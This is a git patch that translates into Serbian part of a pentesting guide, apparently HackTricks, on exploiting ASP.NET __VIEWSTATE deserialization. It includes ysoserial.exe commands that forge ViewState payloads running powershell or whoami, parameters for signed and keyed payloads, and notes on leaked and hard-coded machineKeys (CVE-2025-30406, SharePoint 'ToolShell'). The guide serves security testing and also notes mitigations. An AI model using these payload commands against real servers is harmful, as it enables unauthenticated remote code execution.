From 0cce6abc962dedb2319c8cc99f1421a714cc0d44 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 09:12:12 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p --- .../exploiting-__viewstate-parameter.md | 32 +++++++++---------- 1 file changed, 15 insertions(+), 17 deletions(-) diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 49fd366bd..6f0ef41e0 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -24,7 +24,7 @@ Slika je tabela koja detaljno opisuje različite konfiguracije za ViewState u AS 1. Za **bilo koju verziju .NET-a**, kada su i MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje. 2. Za **verzije ispod 4.5**, ako je MAC omogućen, ali Enkripcija nije, MachineKey je potreban. Metoda za identifikovanje MachineKey-a se naziva "Blacklist3r." 3. Za **verzije ispod 4.5**, bez obzira na to da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, MachineKey je potreban. Identifikovanje MachineKey-a je zadatak za "Blacklist3r - Budući razvoj." -4. Za **verzije 4.5 i više**, sve kombinacije MAC-a i Enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r." +4. Za **verzije 4.5 i iznad**, sve kombinacije MAC-a i Enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r." ### Test slučaj: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false @@ -40,13 +40,13 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power ``` ### Test case 1.5 – Kao Test case 1, ali ViewState kolačić nije poslat od strane servera -Developers can **remove ViewState** from becoming part of an HTTP Request (korisnik neće primiti ovaj kolačić).\ -One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.\ -However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**. +Programeri mogu **ukloniti ViewState** iz HTTP zahteva (korisnik neće primiti ovaj kolačić).\ +Može se pretpostaviti da ako **ViewState** **nije prisutan**, njihova implementacija je **sigurna** od bilo kakvih potencijalnih ranjivosti koje proizlaze iz deserializacije ViewState-a.\ +Međutim, to nije slučaj. Ako **dodamo ViewState parametar** u telo zahteva i pošaljemo naš serijalizovani payload kreiran pomoću ysoserial, i dalje ćemo moći da postignemo **izvršenje koda** kao što je prikazano u **Slučaju 1**. -### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false +### Test Case: 2 – .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false -In order to **enable ViewState MAC** for a **specific page** we need to make following changes on a specific aspx file: +Da bismo **omogućili ViewState MAC** za **određenu stranicu**, potrebno je izvršiti sledeće izmene na određenom aspx fajlu: ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` @@ -102,7 +102,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv --generator = {__VIWESTATEGENERATOR parameter value} ``` -U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar **ne morate** da **obezbedite** `--generator` parametar **već ove**: +U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar, **ne** morate **navesti** `--generator` parametar **već ove**: ```bash --apppath="/" --path="/hello.aspx" ``` @@ -112,7 +112,7 @@ U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je vredn **U ovom slučaju** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modul je u razvoju...** -**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i** ako je **`ViewStateEncryptionMode`** postavljen na _**Uvek**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.** +**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i ako je** **`ViewStateEncryptionMode`** postavljen na _**Uvek**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.** Stoga, ako napadači pronađu način da dobiju Mašinski ključ putem druge ranjivosti kao što je pretraga fajlova, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Slučaju 2**, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a. @@ -159,8 +159,8 @@ Uspešna eksploatacija ranjivosti deserializacije ViewState-a dovodi do zahteva ### Test Case 6 – ViewStateUserKeys se koristi -Svojstvo **ViewStateUserKey** može se koristiti za **odbranu** od **CSRF napada**. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo **ViewState** payload koristeći metode o kojima se do sada razgovaralo, **payload neće biti obrađen od strane aplikacije**.\ -Treba da koristite još jedan parametar kako biste ispravno kreirali payload: +Svojstvo **ViewStateUserKey** može se koristiti za **odbranu** od **CSRF napada**. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo **ViewState** payload koristeći metode o kojima smo do sada razgovarali, **payload neće biti obrađen od strane aplikacije**.\ +Potrebno je koristiti još jedan parametar kako bi se ispravno kreirao payload: ```bash --viewstateuserkey="randomstringdefinedintheserver" ``` @@ -200,21 +200,19 @@ curl "http://victim/page.aspx?__VIEWSTATE=" ``` Ova **primitive za eksfiltraciju ključeva** je masovno iskorišćena protiv on-prem SharePoint servera 2025. godine ("ToolShell" – CVE-2025-53770/53771), ali je primenljiva na svaku ASP.NET aplikaciju gde napadač može da pokrene kod na serveru. -## Scenariji stvarne eksploatacije 2024-2025 i hard-kodirani mašinski ključevi +## Scenariji stvarnog iskorišćavanja 2024-2025 i hard-kodirani mašinski ključevi -### Talas "javnih mašinskih ključeva" Microsoft-a (decembar 2024 – februar 2025) -Microsoft Threat Intelligence je izvestio o masovnoj eksploataciji ASP.NET sajtova gde je *machineKey* prethodno bio otkriven na javnim izvorima (GitHub gists, blog postovi, paste sajtovi). Protivnici su enumerisali ove ključeve i generisali validne `__VIEWSTATE` gadgete sa novijim `ysoserial.net` 1.41 `--minify` i `--islegacy` flagovima kako bi izbegli WAF ograničenja dužine: +### Talas "javnih mašinskih ključeva" koji je objavio Microsoft (decembar 2024 – februar 2025) +Microsoft Threat Intelligence je izvestio o masovnom iskorišćavanju ASP.NET sajtova gde je *machineKey* prethodno bio otkriven na javnim izvorima (GitHub gists, blog postovi, paste sajtovi). Protivnici su enumerisali ove ključeve i generisali validne `__VIEWSTATE` gadgete sa novijim `ysoserial.net` 1.41 `--minify` i `--islegacy` zastavicama kako bi izbegli WAF ograničenja dužine: ```bash ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \ --validationkey= --validationalg=SHA1 \ --decryptionkey= --decryptionalg=AES \ --generator= --minify ``` -Rotiranje statičkih ključeva ili prelazak na *AutoGenerate* ključeve u Web .config (``) ublažava ovu klasu napada. {{#ref}} +Rotiranje statičkih ključeva ili prelazak na *AutoGenerate* ključeve u Web .config (``) ublažava ovu klasu napada. -{{#endref}} - -### CVE-2025-30406 – Gladinet CentreStack / Triofox hard-coded ključevi +### CVE-2025-30406 – Gladinet CentreStack / Triofox hard-kodirani ključevi Kudelski Security je otkrio da su više verzija CentreStack / Triofox isporučene sa identičnim `machineKey` vrednostima, omogućavajući neautentifikovanu daljinsku izvršavanje koda putem ViewState falsifikacije (CVE-2025-30406). Jednolinijski exploit: